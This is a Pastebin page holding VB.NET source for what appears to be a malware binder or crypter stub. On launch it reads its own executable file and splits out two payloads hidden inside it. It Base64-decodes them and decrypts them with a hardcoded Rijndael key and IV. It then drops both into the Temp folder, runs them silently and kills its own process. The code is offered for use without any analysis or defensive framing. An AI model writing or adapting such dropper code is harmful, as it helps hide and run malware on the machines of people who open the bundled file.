Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Class Form1
- Function unsecure(ByVal data As Byte()) As Byte()
- Using sa As New System.Security.Cryptography.RijndaelManaged
- sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
- sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
- Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
- End Using
- End Function
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Try
- Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
- Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
- Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
- Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
- My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
- My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
- Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
- Catch ex As Exception
- Process.GetCurrentProcess.Kill()
- End Try
- Process.GetCurrentProcess.Kill()
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement